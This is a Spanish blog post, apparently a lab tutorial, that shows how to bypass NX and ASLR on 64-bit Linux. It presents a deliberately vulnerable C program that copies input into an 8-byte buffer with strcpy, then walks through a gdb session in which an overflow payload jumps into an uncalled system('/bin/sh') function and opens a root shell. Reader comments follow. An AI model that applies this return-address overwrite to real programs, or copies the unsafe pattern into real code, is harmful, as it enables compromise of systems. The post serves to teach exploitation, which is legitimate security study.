Curiosity is insubordination in its purest form. -Vladimir Nabokov

martes, 22 de enero de 2013

NX/ASLR linux/x64 bypass

Hola Exploiters,

Llevaba un tiempo queriendo escribir sobre como un overflow puede permitirnos (with no shellcodes!) movernos por los flujos del codigo de un programa (previstos o no), y tras leer esta excelente entrada sobre ROP me anime al fin.

Tratar ROP se escapa de mi idea original, asi que aqui van cosas como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al propio programa a explotar, que podemos llegar a ejecutar partes del programa que no deberiamos (password incorrecto? no problem, just let me in anyway).

Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada (no infoleaks needed, no bruteforce needed... como si no existiera). A disfrutar.
### Some versions
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

### 64 bits S.O.
root@bt:~# getconf LONG_BIT
64

### Full ASLR
root@bt:~# cat /proc/sys/kernel/randomize_va_space 
2

### ASLR + NX
root@bt:~# bash checksec.sh --file vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   vuln

### Code
root@bt:~# cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4  #4 is min on x64
 
void nunca_se_ejecuta()
/* NUNCA SE LLAMA A ESTA FUNCION EN EL CODIGO */
/* call me if you can */
{
 system("/bin/sh");
 printf("SIGSEGV");
}
 
void vuln(char *buff)
{
 char tmp[8] = {'\0'};
 
 strcpy(tmp, buff);
 printf("-> %sn", tmp);
}
 
int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <arg>n", argv[0]);
  exit(0);
 }
 printf("exploit me if you can");
 
 vuln(argv[1]);
 return 0;
}

### No SSP. Min preferred stack boundary on x64 is 4 bytes
root@bt:~# gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4

### Okay, let's GDB rocks:
root@bt:~# gdb -q vuln
Reading symbols from /root/vuln...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "123456789012345678901234AAAA"'`
Starting program: /root/vuln `perl -e 'print "123456789012345678901234AAAA"'`

Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()

### The Segmentation fault is what we wanted to see. Let's disasm our target func
(gdb) disas nunca_se_ejecuta
Dump of assembler code for function nunca_se_ejecuta:
   0x0000000000400604 <+0>: push   %rbp
   0x0000000000400605 <+1>: mov    %rsp,%rbp
   0x0000000000400608 <+4>: mov    $0x4007c0,%edi
   0x000000000040060d <+9>: callq  0x4004f8 <system@plt>
   0x0000000000400612 <+14>: mov    $0x4007c8,%eax
   0x0000000000400617 <+19>: mov    %rax,%rdi
   0x000000000040061a <+22>: mov    $0x0,%eax
   0x000000000040061f <+27>: callq  0x4004c8 <printf@plt>
   0x0000000000400624 <+32>: leaveq 
   0x0000000000400625 <+33>: retq   
End of assembler dump.

### Si queremos entrar a la funcion que nunca se llama, podemos saltar aqui:
0x0000000000400608 <+4>: mov    $0x4007c0,%edi
¿Muchos NULLs? No problem, podemos llegar a esa direccion de memoria en direccionamiento 64 bits saltando a 0x00400608. ¿Aun hay un byte nulo que abortaria el programa? tsetse, little-endian al rescate:
(gdb) r `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/vuln `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
sh-4.1# whoami
root
:)
sh-4.1# exit

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe4a8 in ?? ()

## bye
(gdb) q
A debugging session is active.

 Inferior 1 [process 20741] will be killed.

Quit anyway? (y or n) y
root@bt:~#
Probado en un kernel 4.1.7-grsec , system() sigue devolviendonos una shell, y una vez salimos de la shell, cuando retornamos de la funcion, PaX mata el programa explotado.

Have fun-

Related Posts by Categories



2 comentarios :

Newlog dijo...

Muy buena!

Siempre es bueno recordar estas cosas porqué existen casos en los que no es necesario ejecutar nada que no esté actualmente en memoria (Como tu proverbio... Todo está en memoria :D).

También es bueno que la gente empiece a publicar los textos enfocados a arquitecturas de 64 bits, que ya toca...

A ver si la inspiración te viene más a menudo :D

Saludos!

vlan7 dijo...

Efectivamente, amamos los shellcodes, pero si el propio programa ya tiene mapeado algo interesante en memoria ¡a por ello!

Me alegro de que te haya gustado la entrada, una saludo tio.

Hablamos,